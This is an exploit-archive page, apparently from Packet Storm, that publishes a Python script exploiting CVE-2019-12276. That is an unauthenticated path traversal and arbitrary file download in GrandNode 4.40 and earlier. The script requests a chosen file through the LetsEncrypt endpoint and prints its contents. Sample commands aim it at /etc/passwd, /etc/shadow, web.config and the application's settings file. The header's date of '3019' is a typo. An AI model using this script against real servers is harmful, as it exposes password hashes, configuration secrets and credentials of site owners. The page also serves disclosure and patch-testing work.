what you don't know can hurt you

GrandNode 4.40 Path Traversal / File Download

GrandNode 4.40 Path Traversal / File Download
Posted Jun 24, 2019
Authored by Corey Robinson

GrandNode versions 4.40 and below suffer from arbitrary file download and path traversal vulnerabilities.

tags | exploit, arbitrary, vulnerability, file inclusion
advisories | CVE-2019-12276
MD5 | 6d0d535f84fca415f6d7ac427f470f56

GrandNode 4.40 Path Traversal / File Download

Change Mirror Download
# Exploit Title: GrandNode Path Traversal & Arbitrary File Download (Unauthenticated)
# Date: 06/23/3019
# Exploit Author: Corey Robinson (https://twitter.com/CRobSec)
# Vendor Homepage: https://grandnode.com/
# Software Link: https://github.com/grandnode/grandnode/archive/728ca1ea2f61aead7c8c443407096b0ef476e49e.zip
# Version: <= v4.40 (before 5/30/2019)
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-12276

'''
CVE-2019-12276

A path traversal vulnerability in the LetsEncryptController allows remote unauthenticated users to
view any files that the application has read/view permissions to. This vulnerability affects
Windows and Unix operating systems.

For more details, see: https://security401.com/grandnode-path-traversal/

'''

import requests
import argparse

def exploit(url, file):

session = requests.Session()

paramsGet = {"fileName":file}
rawBody = "\r\n"

response = session.get("{}/LetsEncrypt/Index".format(url), data=rawBody, params=paramsGet)

if "UnauthorizedAccessException" in response.content or response.status_code == 500:
print("Access to the path '{}' is denied.".format(file))
return

content_length = int(response.headers['Content-Length'])

if content_length == 0:
print("The '{}' file was not found.".format(file))
else:
print("-" *22)
print(response.content)
print("-" *22)


if __name__ == "__main__":

parser = argparse.ArgumentParser(description='GrandNode CVE-2019-12276 Path traversal & Arbitrary File Download')
parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')
parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')
args = parser.parse_args()

exploit(args.url, args.file)

# python gn.py -u http://172.16.2.22:5001 -f "/etc/passwd"
# python gn.py -u http://172.16.2.22:5001 -f "../../../App_Data/Settings.txt"
# python gn.py -u http://172.16.2.22:5001 -f "/etc/shadow"
# python gn.py -u http://172.16.2.22:5001 -f "../../../web.config"
Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    1 Files
  • 9
    Aug 9th
    2 Files
  • 10
    Aug 10th
    27 Files
  • 11
    Aug 11th
    11 Files
  • 12
    Aug 12th
    11 Files
  • 13
    Aug 13th
    17 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close